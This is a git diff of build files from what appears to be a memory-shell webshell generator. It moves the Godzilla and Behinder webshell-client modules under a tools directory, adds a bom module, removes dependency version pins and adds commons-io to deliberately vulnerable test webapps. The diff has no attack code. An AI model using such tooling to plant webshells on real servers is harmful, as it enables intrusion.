+ implementation 'net.bytebuddy:byte-buddy' + implementation 'javax.servlet:javax.servlet-api' + implementation 'javax.websocket:javax.websocket-api' } \ No newline at end of file diff --git a/settings.gradle b/settings.gradle index 431d6aaa..5f5fc81b 100644 --- a/settings.gradle +++ b/settings.gradle @@ -1,12 +1,18 @@ rootProject.name = 'MemShellParty' +include 'bom' include 'common' -include 'godzilla' -include 'behinder' + +include 'tools' +include 'tools:godzilla' +include 'tools:behinder' + include 'memshell' +include 'memshell-java8' + include 'deserialize' -include 'generator' include 'boot' +include 'generator' include 'integration-test' include 'vul' @@ -16,6 +22,4 @@ include 'vul:vul-webapp-expression' include 'vul:vul-springboot2' include 'vul:vul-springboot3' include 'vul:vul-springboot2-webflux' -include 'vul:vul-springboot3-webflux' -include 'memshell-java8' - +include 'vul:vul-springboot3-webflux' \ No newline at end of file diff --git a/godzilla/build.gradle b/tools/behinder/build.gradle similarity index 55% rename from godzilla/build.gradle rename to tools/behinder/build.gradle index 3b9b96ce..02f0a0c4 100644 --- a/godzilla/build.gradle +++ b/tools/behinder/build.gradle @@ -2,7 +2,6 @@ plugins { id "io.freefair.lombok" version "8.11" } - group = 'com.reajason.javaweb' version = '' @@ -17,13 +16,15 @@ java { dependencies { implementation project(":common") - implementation 'net.bytebuddy:byte-buddy:1.+' - implementation 'commons-io:commons-io:2.+' - implementation 'org.apache.commons:commons-lang3:3.+' - implementation 'commons-codec:commons-codec:1.+' + implementation 'net.bytebuddy:byte-buddy' - implementation 'com.squareup.okhttp3:okhttp:4.+' - testImplementation platform('org.junit:junit-bom:5.10.0') + implementation 'commons-io:commons-io' + implementation 'org.apache.commons:commons-lang3' + implementation 'commons-codec:commons-codec' + + implementation 'com.squareup.okhttp3:okhttp' + implementation 'com.alibaba.fastjson2:fastjson2' + testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' } diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java b/tools/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java similarity index 100% rename from behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java rename to tools/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java b/tools/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java similarity index 100% rename from behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java rename to tools/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java b/tools/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java similarity index 100% rename from behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java rename to tools/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java diff --git a/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java b/tools/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java similarity index 100% rename from behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java rename to tools/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java diff --git a/tools/build.gradle b/tools/build.gradle new file mode 100644 index 00000000..82efb077 --- /dev/null +++ b/tools/build.gradle @@ -0,0 +1,5 @@ +idea { + module { + excludeDirs += file('src') + } +} \ No newline at end of file diff --git a/tools/godzilla/build.gradle b/tools/godzilla/build.gradle new file mode 100644 index 00000000..42800f10 --- /dev/null +++ b/tools/godzilla/build.gradle @@ -0,0 +1,32 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + + +group = 'com.reajason.javaweb' +version = '' + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 +} + + +dependencies { + implementation project(":common") + + implementation 'net.bytebuddy:byte-buddy' + + implementation 'commons-io:commons-io' + implementation 'org.apache.commons:commons-lang3' + implementation 'commons-codec:commons-codec' + + implementation 'com.squareup.okhttp3:okhttp' + + testImplementation platform('org.junit:junit-bom') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java similarity index 100% rename from godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java rename to tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java diff --git a/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java similarity index 100% rename from godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java rename to tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java diff --git a/godzilla/src/main/resources/godzillaShellClassNames.txt b/tools/godzilla/src/main/resources/godzillaShellClassNames.txt similarity index 100% rename from godzilla/src/main/resources/godzillaShellClassNames.txt rename to tools/godzilla/src/main/resources/godzillaShellClassNames.txt diff --git a/godzilla/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java b/tools/godzilla/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java similarity index 100% rename from godzilla/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java rename to tools/godzilla/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java diff --git a/vul/vul-springboot2/build.gradle b/vul/vul-springboot2/build.gradle index d0023174..9608402f 100644 --- a/vul/vul-springboot2/build.gradle +++ b/vul/vul-springboot2/build.gradle @@ -18,6 +18,7 @@ repositories { dependencies { implementation 'org.springframework.boot:spring-boot-starter-web' + implementation 'commons-io:commons-io:2.+' providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat' testImplementation 'org.springframework.boot:spring-boot-starter-test' } diff --git a/vul/vul-webapp-expression/build.gradle b/vul/vul-webapp-expression/build.gradle index 3bc102af..186edc0b 100644 --- a/vul/vul-webapp-expression/build.gradle +++ b/vul/vul-webapp-expression/build.gradle @@ -18,6 +18,7 @@ dependencies { implementation 'commons-beanutils:commons-beanutils:1.9.3' implementation 'de.odysseus.juel:juel-impl:2.2.7' implementation 'org.freemarker:freemarker:2.3.23' + implementation 'commons-io:commons-io:2.+' implementation 'org.apache.velocity:velocity:1.7' implementation 'ognl:ognl:2.7.3' implementation 'org.springframework:spring-expression:4.3.0.RELEASE' diff --git a/web/src/i18n/translations.ts b/web/src/i18n/translations.ts index c69c5e68..952a237b 100644 --- a/web/src/i18n/translations.ts +++ b/web/src/i18n/translations.ts @@ -60,8 +60,7 @@ export const resources = { AgentJar: "AgentJar", Deserialize: "Deserialize(Only CB4, 1.9.x)", ScriptEngine: "ScriptEngine", - XxlJob: "XXL-JOB Executor", - XxlJob230: "XXL-JOB (2.3.0+) Executor", + XxlJob: "XXL-JOB Executor" }, }, tips: {